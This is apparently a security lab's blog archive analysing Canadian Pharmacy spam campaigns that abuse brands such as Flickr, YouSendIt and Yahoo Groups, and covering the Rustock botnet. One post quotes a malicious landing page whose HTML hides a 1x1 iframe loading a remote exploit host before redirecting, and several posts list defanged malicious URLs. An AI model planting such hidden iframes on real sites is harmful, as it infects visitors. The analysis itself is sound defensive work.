Spam from Canadian pharmacy masked as “Delivery Notification”

March 23, 2011 1 Comment

MX Lab, http://www.mxlab.eu, started to intercept a new spam campaign by email with the subject ”Delivery Notification”. What appears at first as a simple email notification is in fact a spam campaign for the Canadian Pharmacy.

The message is sent from a spoofed email addresses like:

Spam message inside a ZIP file

August 25, 2010 1 Comment

Spammer often use new techniques in order to deliver the message to the recipient without being catched by email security solutions. Today, one of such spam emails did caught our attention because of the original technique that has been used.

The spam email had the subject “Your wife photos attached”, a very short body content ” Your wife photos” and the attached file rooster.zip.

At first, we thought this was some new email security treath so we investigated the ZIP archive. Once extracted the file rooster.jpg was available. The filename does not end with .exe or the combination of many spaces with at the end .exe so we opened the JPEG and got this spam advertisment for Viagra, Cialis and VPXL.

The instructions, if you are interested, is to go to med242.ru which leads to the web site of the Canadian Pharmacy.

I can understand that spammers try different techniques but this one is, in my humble opinion, not a very good one. What a hassle to read the message.

Yahoo Groups being abused by spammers

August 6, 2010 1 Comment

Great names are quite often the subject of abuses and this time, the  Yahoo Groups are being used in spam messages. Spammers have created a large amount of account on the Yahoo Groups and are including URLs in their spam messages.

The messages comes with the subject line in the form of: ****@***.be VIAGRA ® Official Site -77%. The body of the email only contains an URL to for example hxxp://groups.yahoo.com/group/*****/message.

This is an example of such a web site.

The image that promotes Viagra also contains an URL that leads to, in our case, hxxp://superdrugsudden.com:8080/. And yes, it’s the Canadian Pharmacy again. We have to admit that they are very active on the internet.

YouSendIt abused in a malware and spam distribution

August 5, 2010 3 Comments

MX Lab intercepted a emails with the subject “You have received a file from aleppotz@rockypointinc.com via YouSendIt.” that contains a potential risk of a malicious payload and redirects you to a Canadian Pharmacy web site. The email address in the subject line can be different depending on the spoofed senders address.

The message indicates that you have a file, in this case an audio file in MP4 format, for you to download at YouSendIt, the well known online file sharing and distribution web site.

The URLs in the message however, do not point to the YouSendIt web site but will lead to hxxp://carlaustiniii.org/x.html. When following this URL on our Mac we got the message “PLEASE WAITING 4 SECOND…”.

The web site has the following HTML code:

PLEASE WAITING 4 SECOND...
  <meta http-equiv="refresh" content="4;url=hxxp://spruceteam.com">
</head><body>

<iframe src="hxxp://tartonion.ru:8080/index.php?pid=10"
style="visibility: hidden;" height="1" width="1"></iframe>
</body></html>

We believe that at this stage that these messages have a malicious payload that could infect your computer. Afterwards we got redirected to hxxp://spruceteam.com/, the famous Canadian Pharmacy web site.

MX Lab has detected an increase in combined strategies during the last few weeks and months where emails leads to a web site with malicious code and exploits and then forward the user to a spam web site in the hope that the end user will not note that his computer is also infected with a trojan.

Flickr welcome message leads to Canadian Pharmacy web site

July 6, 2010 Leave a Comment

Various brands have been subject to spam campaigns and today Flickr, the photo sharing web site, is now also being abused by spammers.

MX Lab started to intercept messages with the subject “[Flickr] Welcome!”, send from a spoofed email address, with an welcome message  from Flickr (see image below).

Every link in the message leads to a different URL, even the links behind Terms of Services or the Privacy Policy.

hxxp://mahimatex.com/sanitation.html
hxxp://electricbrochures.com/custodian.html
hxxp://eventosgs.com.ar/climate.html
hxxp://newcivas.altervista.org/overstatements.html
hxxp://complicat.go.ro/modestly.html
hxxp://kankash-g-s.com/chicagoans.html
hxxp://pliki.open-it.pl/deigned.html
hxxp://turismatica.go.ro/grapefruit.html
hxxp://behsood.ir/schedulable.html
hxxp://jpaquino.com/headlines.html
hxxp://awtchiro.com/consulates.html

The web sites above function as a redirect to hxxp://keptoften.com/

Each message has different URLs included so these spammers are using a massive amount of domains in this campaign.

I personally do not understand why they are doing this because an Intent Analysis filter, that analyses the included URLs in emails, can blacklist many URLs from these web sites immediatly when investigating one single spam message.

When only using the domain for visiting the sites we get quite often a warning from our browser that the site is known to host malware. In other cases, or when ignoring the warning, we are redirected to hxxp://bestadultsite.ru/run/go.php?sid=3 and afterwards to the web site of Canadian Neighbor Pharmacy hxxp://pharmacymentalhealth.com (see image below).

Rustock is back online, spam levels rise again

November 25, 2008 Leave a Comment

UPDATE, Nov 27th: One of the new CnC servers, ‘sdx3Fs5B.info’ was resolving to 72.233.114.74 at LayeredTech. FireEye sent an abuse notification to LayeredTech when the CnC servers went online and they have pulled out the server.

—————-

Yesterday, Nov 24, 2008, I noticed a sudden spam rise. When checking some samples I found that the ‘Canadian Pharmacy’ spam is back and some new image based spam campaigns have been launched.

But the ‘Canadian Pharmacy’ spam is where we should focus on. These spam campaigns are being sent by Rustock, so the conclusion is that these guys are back online and in business.

With subjects like Obama.s new plan, Food crisis in California or Bush.s last words they try to get their email opened to see the ‘Canadian Pharmacy’ advertisment. URLs, like hxxp://alsi.kugusup.cn or hxxp://ppbka.kugusup.cn will redirect you to hxxp://beautythrow.com/ where the Canadian Pharmacy web site is hosted.

When looking for more information if Rustock is back I found that the Company FireEye Security has posted more details on their blog.

As expected, the bot admins learned from the shut down of McColo. They can now simply change DNS to make sure that their command and control server still can be accessed.

The new Rustock spam campaign is already having an impact on the spam levels. The image below is the graph for one of my domains and you can see the spam level drop when McColo was taken down. The red line is the global spam level.

We have a peak during the weekend, the absence of business emails, and a global spam level between 75% and 85% during the week. Yesterday we had a spam level of 89,4% and at the time of writting this article we are back at 93%. You can see the graph going up again after the re-activation of the Rustock C&C servers.

Canadian Pharmacy spam looks like a mailing

October 1, 2008 1 Comment

Most of the time, spam for viagra and other pills from Canadian Pharmacy doesn’t look so good like this campaign.

Their latest spam campaign is rather nice looking and has some tricks to lure the receiver into their trap with an Unsubscribe link, Manage Subscription links and Privacy policy note.

They also use different domains and change this quite often during the day to avoid detection by intent analysis techniques.

Using one of these links http://www.voiceold.com/memberservices/remove.php?recipient=info@*****.be&SESSID=51706986E9245C just leads you to a web site and gives the response “Not Found”.

I would recommend not doing this because they can easily track your actions on their web site with these links. You will only confirm that your email address is valid by using those links and receive more spam.
